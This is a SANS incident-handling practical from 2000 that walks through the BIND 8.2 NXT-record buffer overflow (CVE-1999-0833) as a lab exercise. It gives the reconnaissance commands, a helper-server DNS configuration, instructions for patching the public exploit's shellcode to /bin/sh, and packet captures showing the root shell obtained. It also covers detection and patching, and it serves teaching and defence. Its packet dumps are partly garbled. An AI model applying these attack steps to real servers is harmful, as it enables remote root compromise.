Use offense to inform defense. Find flaws before the bad guys do.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
SANS Practical Assignment for Advanced Incident Handling and Hacker Exploits
Submitted by Christopher Talianek

Exploit details:

Name: Buffer overflow in BIND 8.2 via NXT records
CVE: 1999-0833
CERT: CA-99-14
Operating System: Systems running BIND versions 8.2 through 8.2.1
Protocols/Services: DNS protocol on TCP/UDP port 53
Brief Description: Some versions of BIND fail to properly validate NXT records. This improper validation could allow an intruder to overflow a buffer and execute arbitrary code with the privileges of the name server.

Protocol description:

The DNS protocol is used to convert hostnames to IP addresses, and vice-versa. Other information such as mail relays for a domain, and administrative contact information is also provided by the service. This service runs on well-known TCP and UDP port 53.

When a program requests the IP address of a hostname, the internet DNS name servers return this information by making requests from several name servers until the required information is returned. The hostname www.ficticious.company.com would be resolved by DNS name server queries to the root name servers, then to the name server that is authoritative for the domain company.com, and finally by the server for subdomain ficticious.company.com. The DNS request starts at the top of this tree structure, querying each successive name server, until it arrives at the name server that is responsible for reporting the particular host’s name.

Variants:

I did not find any variants of the attack on various security web sites.

How the exploit works:

This exploit takes advantage of a buffer overflow vulnerability in the executable program “named” that provides DNS services. The vulnerable versions of the program did not properly validate the size of NXT responses to requests. When the named program receives overly large responses NXT, a portion of its memory space can be overwritten with Unix commands that are then executed.

The NXT response records are responsible for directing queries to the next
domain’s DNS server that is closer to the final response. For example, a query for the IP address of hostname www.ficticious.company.com arrives at the name server for company.com. This name server responds with an answer that directs the querying program to the next domain name server, which is in the ficticious.company.com domain.

The exploit process waits for a DNS NXT request on port 53, and then responds with a very carefully constructed response that is too large for the buffer of the requestor. This request fills the buffer completely (including an executable command within), and then continues to overwrite the return pointer in the process’s memory space with a new pointer value. This new pointer references a memory location in the buffer that was filled with exploit command, which is in this case /bin/sh. The /bin/sh command is then executed with the privileges of the owner of the exploited “named” process, which is very often the root user.

Network Diagram:

There are no special network requirements for this exploit to work. All three machines may be on unrelated networks, as long as they are connected to the Internet. They may even be on a common LAN. If the target victim is behind a firewall, the attack may still work. If the firewall product performs a stateful inspection that capable of examining the DNS payload and rejecting it based upon its format, the exploit could possibly be defeated. If the firewall is basically a packet filter, or does not validate the DNS payload, the exploit will still work.

How to use the exploit:

**Overview:** The exploit involves three hosts: a victim, an attacker, and a
misconfigured name server (an attacker’s helper). Presumably in a real-world situation, the misconfigured name server would be a host that had already been root compromised by the attacker or an associate of the attacker.

For the following explanation, let’s use hostnames for the three machines. The victim will be “bob.victim.com”, the attacker will be “eve.attacker.com”, and the helper will be “alice.owned.com”.

A bogus subdomain “fakesubdomain.owned.com” is added to the helper’s DNS configuration. This entry specifies “eve.attacker.com” as the primary name server for this bogus subdomain.

The attacker “eve.attacker.com” queries the victim “bob.victim.com” for the IP address of a bogus host name “www.fakesubdomain.owned.com”. Since the victim is not the authority for the domain, it does not know the answer to the request. It queries the Internet root name servers for the next closest DNS server that is responsible for the domain, and it receives the answer “alice.owned.com”. “Bob.victim.com” then queries “alice.owned.com” for the answer, and it receives the name server “eve.attacker.com” as a reply, since the bogus subdomain was added into the DNS configuration for “alice.owned.com”. “Bob.victim.com” then queries “eve.attacker.com”, which replies with the exploit response. This exploit response crashes the DNS “named” process on “bob.victim.com”, and gives “eve.attacker.com” a Unix shell.

Victim Selection: Any name server that is running the vulnerable versions of the BIND software is a potential victim. Attackers may port scan hundreds or thousands of IP addresses looking for machines that respond on port 53, the DNS port. The follow up reconnaissance to responding machines would query those machines to determine what version of BIND they are running. An example “dig” command shows how this is done:

```plaintext
Dig @192.168.0.128 version.bind chaos txt
```

A vulnerable machine would respond like this:

```plaintext
;<<< DiG 8.2 <<< @192.168.0.1 version.bind chaos txt
;(1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; >>>HEADER<<< opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
```
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.1"
;; Total query time: 0 msec
;; FROM: alice to SERVER: 192.168.0.1
;; WHEN: Mon Aug 14 14:59:16 2000
;; MSG SIZE sent: 30 rcvd: 60

Note the line ---- > VERSION.BIND. OS CHAOS TXT "8.2.1". This indicates the version is 8.2.1, a vulnerable version. This is a candidate victim.

The attacker’s helper: A third party to the attack is needed as an assistant. This server is needed to misdirect a DNS request from the victim to the attacker. The change to the DNS configuration is quite simple. The configuration file for the address records for “alice.owned.com” might look the following example. The only line that needed to be added is the “fakesubdomain” line.

```
@       IN      SOA     alice.owned.com. root.alice.owned.com. ( 1 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum
fakesubdomain IN NS      alice.owned.com.
localhost     IN  NS     eve.attacker.com.
alice         IN  A      192.168.0.128
```

Attacker setup and execution: The attacker setup is fairly straightforward. If the attacker machine is running DNS “named”, it must be stopped during the attack. This is because the exploit executable will need to be listening on port 53, and “named” would need to be listening on port 53. Only one process can use the port at a time.

The C source code “adm-bind_exp.c” can be obtained from the web site www.securityfocus.com. The source code is supplied with a minor bug. Instead of filling the “named” buffer with the command /bin/sh, it uses /adm/sh. This code is entered in HEX in the C source, so it needs to be edited before compiling. Search for the HEX code 0x2f,0x61,0x64,0x6d,0x2f and replace it with 0x2f,0x62,0x6e,0x2f (this replaces /adm/ with /bin/). Compile this source in a working directory as follows:

```
gcc –o adm-bind_exp adm-bind_exp.c
chmod 700 adm-bind_exp
```
Execute the “adm-bind_exp” executable. This process will listen on port 53 for incoming connections, and it will reply with the buffer overflow response. It needs one numeric argument passed to it to identify the victim’s O/S. Just run it without the argument to get the list of supported victim O/S’s. You will need to run an exploit that can get the O/S fingerprint if you do not already know the target O/S. I assume that you could try each of the 7 supported options until one succeeds, but I did not have the machine resources available to test various combinations.

Execute the nslookup command. Set the name server to the victim host, such as “victim.bob.com”. Query for the bogus host in the bogus subdomain. For the following example nslookup command, I will use the IP 192.168.0.1 as the address for “bob.victim.com”. I can’t use the hostname, since my DNS is currently turned off during the exploit. Example:

```
# nslookup www.fakesubdomain.owned.com 192.168.0.1
```

The host “bob.victim.com” will now begin querying the various name servers attempting to resolve “www.fakesubdomain.owned.com”. It will receive its last response from the exploit code. The attacking host will then be presented with a Unix shell.

**Caveats:** Since the buffer overflow crashes the “named” process on the victim, DNS services are no longer available on the victim. If the attacker exits the compromised machine, he cannot get back in with the same attack until the system administrator notices “named” is not running, and then restarts it. A backdoor will need to be installed immediately to allow a return visit.

**Signature of the attack:**

An intrusion detection system looking for this attack will of course be examining port 53 traffic. The packet payload will contain the string “/bin/sh”, which should not normally appear in DNS payloads.

This exploit also included a lot of NOP commands (hex 0x90), which are often found in buffer overflow types of attacks. The NOP is only one byte long. The overflowed buffer will be padded with NOPs, and the executable code will be near the end. The return address pointer can more easily point into the middle of the NOPs, and then it does not have to be calculated to point to the exact location of the executable exploit instructions. Execution can fall through the NOPs until it reaches the exploit code.
If you do not have an intrusion detection system, watch for messages in your system log (such as /var/adm/messages or /var/log/messages) for “named startup” messages when named should not normally be restarting. If someone is crashing your DNS, they might restart DNS shortly thereafter so that you do not notice DNS is down.

I also noticed that the exploit created a directory called ADMROCKS in the /var/named directory, which is where my DNS configuration files are located.

How to protect against it:

According to the Internet Software Consortium, there is no workaround. You must upgrade the version of BIND “named”. The suggested version is the latest, 8.2.2 patch level 5.

It is a good idea to run “named” as a non-root account. Create a user account and group that is only used for running “named”. Edit the system RC init startup script and add the option “-u username”. This will cause the named process to switch to this user’s privileges at startup time. If someone does crash the “named” process with this exploit or any other exploit that then runs a shell with the process privileges, at least they will not have root authority.

Source Code:

Exploit Source Code can be found at:
http://www.securityfocus.com/data/vulnerabilities/exploits/adm-bind_exp.c

I looked at the source code, but I do not understand how it works since I do not know how to program in C.

Additional Information:

Cert advisory:
http://www.cert.org/advisories/CA-99-14-bind.html

Security Focus vulnerability description and notes:
Please note that this site lists the vulnerability as CVE-1999-0848, but the actual number is CVE-1999-0833.

Common Vulnerabilities and Exposures listing at mitre.org:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0833
Demonstration attack:

As a demonstration, I configured three Intel based computers running Redhat Linux 6.2 on a private network. I then downloaded the vulnerable DNS software “BIND” version 6.2.1 from www.isc.org, and installed it onto two of the machines. The third machine was loaded with the exploit code. I configured the machines with hostnames and IP addresses as follows:

Attacker: eve.attacker.com 192.168.0.254
Helper: alice.owned.com 192.168.0.128
Victim: bob.victim.com 192.168.0.1

Since this was a private network that was not connected to the Internet, I needed to make alice.owned.com also function as an Internet root name server. This allowed bob.victim.com to be directed to the next domain name server alice.owned.com to query for owned.com records.

Since attacks such as these are often launched from compromised machines on the Internet (as opposed the individual’s personal machine!), I did not allow myself the luxury of running X-windows on the attacker machine. This meant that since I only had one screen to with which to work, I needed to run the nslookup in the background while the exploit code and subsequent root shell on the victim in ran in the foreground. I accomplished this with the following shell script. I also turned on debugging in the nslookup to show its operation.

```
# exploit.sh
(sleep 5
 nslookup -debug www.fakesubdomain.owned.com. 192.168.0.1
 >nslookup_eve.log 2>&1
 ) &
/adm-bind_exp
```

The contents of the nslookup output file nslookup_eve.log are as follows:

```
*** bob.victim.com can't find www.fakesubdomain.owned.com.: No response from server
; ; res_nmkquery(QQUERY, 1.0.168.192.in-addr.arpa, IN, PTR)
---------
Got answer:
HEADER:
    opcode = QUERY, id = 48005, rcode = NOERROR
header flags:  response, auth. answer, want recursion, recursion avail.
    questions = 1,  answers = 1,  authority records = 1,  additional = 1
QUESTIONS:
    1.0.168.192.in-addr.arpa, type = PTR, class = IN
ANSWERS:
-> 1.0.168.192.in-addr.arpa
    name = bob.victim.com
```
My screen output on “eve.attacker.com” follows. Note that I typed in the commands “date”, “hostname”, and “cat /etc/hosts” to show that I was on “bob.victim.com”. Also note the reporting of “uid=0(root)” when I was given a root shell.

I configured the intrusion detection program “snort” on “bob.victim.com” to capture the network packets as the attack occurred. The UDP and TCP packets were traced to separate output files, which are included below. Note the commands that I typed in are included in the traced packets (date, hostname, cat /etc/hosts, and exit).

**UDP packets:**

UDP TTL:64 TOS:0x0 ID:89
Len: 50
BB 85 01 00 00 01 00 00 00 00 00 00 00 01 31 01 30
.............1.0
03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-
addr
04 61 72 70 61 00 00 0C 00 01 .arpa.....

UDP TTL:64 TOS:0x0 ID:678
Len: 130
BB 85 85 80 00 01 00 01 00 01 01 31 01 30
..............0.0
03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-
addr
04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01
.arpa.........
00 01 51 80 00 10 03 62 6F 62 06 76 69 63 74 69
..Q....bob.victi
6D 03 63 6F 6D 00 01 03 31 36 38 03 31 39 32
m.com..0.168.192
07 69 6E 2D 61 64 64 72 04 61 72 70 61 00 00 02 .in-
addr.arpa...
00 01 00 01 51 80 00 02 C0 36 C0 36 00 01 00 01
....Q....6.6....
00 01 51 80 00 04 C0 A8 00 01 .www......

UDP TTL:64 TOS:0x0 ID:103
Len: 53
BB 86 01 00 00 01 00 00 00 00 00 00 00 03 77 77 77
............www
0D 66 61 6B 65 73 75 62 64 6F 6D 05 6F 77 6E 64 03 63 6F 6D
.fakesubdomain.o
77 6E 65 64 03 63 6F 6D 00 00 01 00 01 00 01 00 01 wn ed.com......

TCP TTL:64 TOS:0x0 ID:91 DF
**S***** Seq: 0x59434D7A Ack: 0x0 Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 67894 0 NOP WS: 0

TCP Packets:

TCP TTL:64 TOS:0x0 ID:91 DF
**S***** Seq: 0x59434D7A Ack: 0x0 Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 67894 0 NOP WS: 0
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
TCP TTL:64 TOS:0x0 ID:682  DF
******A* Seq: 0x58A29FF7 Ack: 0x594358CD Win: 0x76C8
TCP Options => NOP NOP TS: 1512873 67894

TCP TTL:64 TOS:0x0 ID:96  DF
*****PA* Seq: 0x594358CD Ack: 0x58A29FF7 Win: 0x7D78
TCP Options => NOP TOS: 67894 1512873
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
...

.............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

...
<table>
<thead>
<tr>
<th>Time</th>
<th>IP Source</th>
<th>IP Destination</th>
<th>Protocol</th>
<th>TTL</th>
<th>TOS</th>
<th>ID</th>
<th>DF</th>
<th>Seq</th>
<th>Ack</th>
<th>Win</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:25</td>
<td>192.168.0.254</td>
<td>192.168.0.1</td>
<td>TCP</td>
<td>64</td>
<td>0</td>
<td>97</td>
<td>1</td>
<td>0x59435E75</td>
<td>0x58A29FF7</td>
<td>0x7D78</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

TCP TTL:64 TOS:0x0 ID:683  DF
******A* Seq: 0x58A29FF7   Ack: 0x5943641D   Win: 0x7120
TCP Options => NOP NOP TS: 1512873 67894

TCP TTL:64 TOS:0x0 ID:98  DF
*****PA* Seq: 0x5943641D   Ack: 0x58A29FF7   Win: 0x7D78
TCP Options => NOP NOP TS: 67894 1512873
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

TCP TTL:64 TOS:0x0 ID:684  DF
*****A* Seq: 0x58A29FF7 Ack: 0x5943676C Win: 0x6DD1
TCP Options => NOP NOP TS: 1512874 67894

TCP TTL:64 TOS:0x0 ID:99  DF
*****PA* Seq: 0x5943676C Ack: 0x58A29FF7 Win: 0x7D78
TCP Options => NOP NOP TS: 67995 1512874
63 64 20 2F 3B 20 75 6E 61 6D 65 20 2D 61 3B 20 cd /; uname -a;
70 77 64 3B 20 69 64 3B 0A pwd; id;.
TCP TTL:64 TOS:0x0 ID:685  DF
*****PA* Seq: 0x58A29FF7 Ack: 0x59436785 Win: 0x7C70
TCP Options => NOP NOP TS: 1512973 67995
4C 69 6E 75 78 20 62 6F 62 2E 76 69 63 74 69 6D Linux
bob.victim
2E 63 6F 6D 20 32 2E 31 34 2D 35 2E 30 20 6Com 2.2.14-5.0
23 31 20 54 75 65 20 4D 61 72 20 37 20 32 31 3A  #1 Tue Mar 7 21:
30 37 3A 33 39 20 45 73 64 20 32 30 30 30 20 69 07:39 EST 2000
i
36 33 36 20 75 6E 6B 6E 6F 77 6E 0A 686 unknown.

TCP TTL:64 TOS:0x0 ID:100  DF
******A* Seq: 0x59436785 Ack: 0x58A2A043 Win: 0x7D2C
TCP Options => NOP NOP TS: 67995 1512973
2F 0A

TCP TTL:64 TOS:0x0 ID:686  DF
*****PA* Seq: 0x58A2A043 Ack: 0x59436785 Win: 0x7C70
TCP Options => NOP NOP TS: 1512974 67995
2F 0A

TCP TTL:64 TOS:0x0 ID:102  DF

75 69 64 3D 30 28 72 6F 6F 74 20 67 72 6F 75 70 73 3D 30 uid=0(root)
gid=30 28 72 6F 74 29 20 67 72 6F 75 70 73 3D 30 0(root)
groups=0
28 72 6F 6F 74 29 2C 31 32 28 62 69 6E 29 2C 32 28 (root),1(bin),2(
64 61 65 6D 6F 6E 29 2C 33 28 73 73 73 29 2C 34 daemon),3(sys),4
28 61 61 65 6D 29 2C 36 28 64 69 6F 29 2C 31 30
(adm),6(disk),10
28 77 68 65 65 6C 29 0A (wheel).

TCP TTL:64 TOS:0x0 ID:102  DF
******A* Seq: 0x59436785 Ack: 0x58A2A09D Win: 0x7D78
TCP Options => NOP NOP TS: 67997 1512974

tcp ttl: 64 tos: 0x0 id: 104 df
******PA* Seq: 0x59436785 Ack: 0x58A2A09D Win: 0x7D78
TCP Options => NOP NOP TS: 68677 1512974
64 61 74 65 60 A date.

tcp ttl: 64 tos: 0x0 id: 688 df
******PA* Seq: 0x58A2A09D Ack: 0x5943678A Win: 0x7C70
TCP Options => NOP NOP TS: 1513656 68677
4D 6F 6E 20 41 75 67 20 31 34 20 31 36 3A 31 33 Mon Aug 14
16:13
3A 32 38 20 44 54 20 32 30 30 30 0A :28 EDT 2000.

tcp ttl: 64 tos: 0x0 id: 105 df
******A* Seq: 0x5943678A Ack: 0x58A2A0BA Win: 0x7D78
TCP Options => NOP NOP TS: 68679 1513656
hostname.

tcp ttl: 64 tos: 0x0 id: 106 df
******PA* Seq: 0x5943678A Ack: 0x58A2A0BA Win: 0x7D78
TCP Options => NOP NOP TS: 69033 1513656
6B 6F 73 74 6E 61 6D 65 0A bob.victim.com.

tcp ttl: 64 tos: 0x0 id: 108 df
******PA* Seq: 0x59436793 Ack: 0x58A2A0C9 Win: 0x7D78
TCP Options => NOP NOP TS: 69036 1514012
62 6F 62 2E 76 69 63 74 69 6D 2E 63 6F 6D 0A bob.victim.com.

tcp ttl: 64 tos: 0x0 id: 109 df
******PA* Seq: 0x59436793 Ack: 0x58A2A0C9 Win: 0x7D78
TCP Options => NOP NOP TS: 69547 1514012
cat /etc/hosts.

exit.
TCP TTL:64 TOS:0x0 ID:692   DF
